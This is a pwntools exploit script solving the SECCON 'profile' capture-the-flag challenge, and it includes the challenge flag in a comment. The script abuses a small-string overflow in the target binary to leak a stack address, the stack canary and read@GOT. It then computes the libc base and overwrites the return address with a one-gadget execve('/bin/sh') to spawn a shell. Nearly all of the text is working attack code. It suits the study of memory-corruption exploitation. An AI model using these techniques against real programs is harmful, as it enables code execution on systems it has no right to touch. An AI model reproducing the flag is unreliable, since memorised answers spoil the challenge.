#!/usr/bin/env python

from pwn import *

def introduce(name, age, msg):
    p.sendlineafter('Name >> ', name)
    p.sendlineafter('Age >> ', str(age))
    p.sendlineafter('Message >> ', msg)

def update_message(msg):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('Input new message >> ', msg)

def show_profile():
    p.sendlineafter('>> ', '2')

def exit_program():
    p.sendlineafter('>> ', '0')

with context.quiet:
    # SECCON{57r1ng_l0c4710n_15_n07_0nly_h34p}
    # p = remote('profile.pwn.seccon.jp', 28553)
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    # in this challenge, you need to know how the "string" memory layout is
    # basically, if the lenght of string is small enough, it will store the
    # characters on the stack in this case, otherwise it will allocate the
    # characters in the heap

    # name should be 8 bytes long, so we can leak addresses
    # message should be 1 byte long, so malloc_usable_size
    # since both strings are small, their value will be stored on the stack
    # returns a large value which leads to buffer overflow
    introduce('a' * 8, 10, 'b')

    # first we need to leak the address of name field in Profile class
    # since name and message are next to each other in the Profile and
    # the overflow happens inside the message field, we will overwrite
    # only one byte of the name, and leave the rest as is.
    # name string has an internal pointer which can be used for leaking any
    # arbitrary address
    # basically, we are scanning the stack until we find where the location
    # of the name is on the stack
    offset = 0
    while True:
        print 'Trying offset {}'.format(hex(offset))

        update_message('c' * 0x10 + p8(offset))
        show_profile()

        p.recvuntil('Name : ')

        if p.recv(8) == 'c' * 8:
            break

        offset += 0x10

    # here we found the correct offset and we can leak the address of name string
    # we need to do this in order to leak the canary later and also repair the name
    # string after we are done with leaking
    update_message('c' * 0x10 + p8(offset + 0x10))
    show_profile()

    p.recvuntil('Name : ')
    name_addr = u64(p.recv(8))
    print 'name addr: {}'.format(hex(name_addr))

    # canary has a fixed offset relative to name string
    # so, we leak canary as well for later
    update_message('c' * 0x10 + p64(name_addr + 0x28))
    show_profile()

    p.recvuntil('Name : ')
    canary = u64(p.recv(8))
    print 'canary: {}'.format(hex(canary))

    # here again we leak read@GOT by overwriting the internal pointer of
    # name string in order to find libc base
    update_message('c' * 0x10 + p64(0x602028))
    show_profile()

    p.recvuntil('Name : ')
    read_addr = p.recvuntil('\nAge')[:-4]
    libc_base = u64(read_addr + '\x00' * (8 - len(read_addr))) - 0xf7250
    print 'libc base: {}'.format(hex(libc_base))

    '''
    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
        [rsp+0x30] == NULL
    '''
    # finally, we overwrite the return address with one gadget
    update_message(
        # message field's data
        'c' * 0x10 + \
        # repairing name field internal pointer
        p64(name_addr + 0x10) + \
        # keep the length of name as 8 bytes
        p64(8) + \
        # filling the gap with canary
        p64(0) * 3 + \
        # overwriting canary with the leaked one
        p64(canary) + \
        # filling the gap between canary and saved rbp
        p64(0) * 2 + \
        # saved rbp
        p64(0) + \
        # return address
        p64(libc_base + 0x4526a) + \
        # adding enough zero to satisfy one gadget's constraints
        '\x00' * 0x50
    )

    # exit the program, so the main returns and execute shell
    exit_program()

    p.interactive()

